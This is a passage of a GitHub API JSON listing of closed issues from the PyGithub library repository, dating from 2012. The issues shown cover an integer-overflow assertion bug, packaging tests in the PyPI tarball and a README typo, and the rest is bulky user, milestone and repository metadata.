user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":0,"created_at":"2012-09-12T12:14:46Z","updated_at":"2012-09-12T18:40:47Z","closed_at":"2012-09-12T18:40:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Legacy.convertXxx discards some useful information and this leads to API calls that could be avoided."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/events","html_url":"https://github.com/jacquev6/PyGithub/issues/116","id":8495415,"number":116,"title":"Assertion failure on big numbers","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17/labels","id":215837,"number":17,"title":"Version 1.9.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2012-11-20T07:36:46Z","updated_at":"2012-11-20T18:42:30Z","due_on":null},"comments":0,"created_at":"2012-11-20T07:35:10Z","updated_at":"2012-11-20T18:42:08Z","closed_at":"2012-11-20T18:42:08Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"(Issue reported by private mail)\n\nIn some Github Enterprise install, there can be a plan with 999999999999 private repositories. This doesn't fit in an int, but in a long. The assertion `isinstance(attributes[\"private_repos\"], int)` on https://github.com/jacquev6/PyGithub/blob/master/github/Plan.py#L50 fails.\n\nI will replace all occurrences of `isinstance(xxx, int)` by `isinstance(x, (int, long))`."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/events","html_url":"https://github.com/jacquev6/PyGithub/issues/86","id":6889934,"number":86,"title":"Include tests in pypi tarball","user":{"login":"koobs","id":1011612,"avatar_url":"https://secure.gravatar.com/avatar/a083cdd9096b4a5623a298d6b4d590a8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a083cdd9096b4a5623a298d6b4d590a8","url":"https://api.github.com/users/koobs","html_url":"https://github.com/koobs","followers_url":"https://api.github.com/users/koobs/followers","following_url":"https://api.github.com/users/koobs/following{/other_user}","gists_url":"https://api.github.com/users/koobs/gists{/gist_id}","starred_url":"https://api.github.com/users/koobs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koobs/subscriptions","organizations_url":"https://api.github.com/users/koobs/orgs","repos_url":"https://api.github.com/users/koobs/repos","events_url":"https://api.github.com/users/koobs/events{/privacy}","received_events_url":"https://api.github.com/users/koobs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":1,"created_at":"2012-09-14T23:22:10Z","updated_at":"2012-09-17T16:57:45Z","closed_at":"2012-09-17T16:57:45Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Will help QA and regression test the devel/py-pygithub FreeBSD port"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/events","html_url":"https://github.com/jacquev6/PyGithub/issues/114","id":8339699,"number":114,"title":"typo in ReadMe.md","user":{"login":"tymofij","id":123786,"avatar_url":"https://secure.gravatar.com/avatar/253b410d7a41999c754970a3aa34834e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"253b410d7a41999c754970a3aa34834e","url":"https://api.github.com/users/tymofij","html_url":"https://github.com/tymofij","followers_url":"https://api.github.com/users/tymofij/followers","following_url":"https://api.github.com/users/tymofij/following{/other_user}","gists_url":"https://api.github.com/users/tymofij/gists{/gist_id}","starred_url":"https://api.github.com/users/tymofij/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tymofij/subscriptions","organizations_url":"https://api.github.com/users/tymofij/orgs","repos_url":"https://api.github.com/users/tymofij/repos","events_url":"https://api.github.com/users/tymofij/events{/privacy}","received_events_url":"https://api.github.com/users/tymofij/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2012-11-13T23:15:11Z","updated_at":"2012-11-14T07:58:02Z","closed_at":"2012-11-14T07:58:00Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/114","diff_url":"https://github.com/jacquev6/PyGithub/pull/114.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/114.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url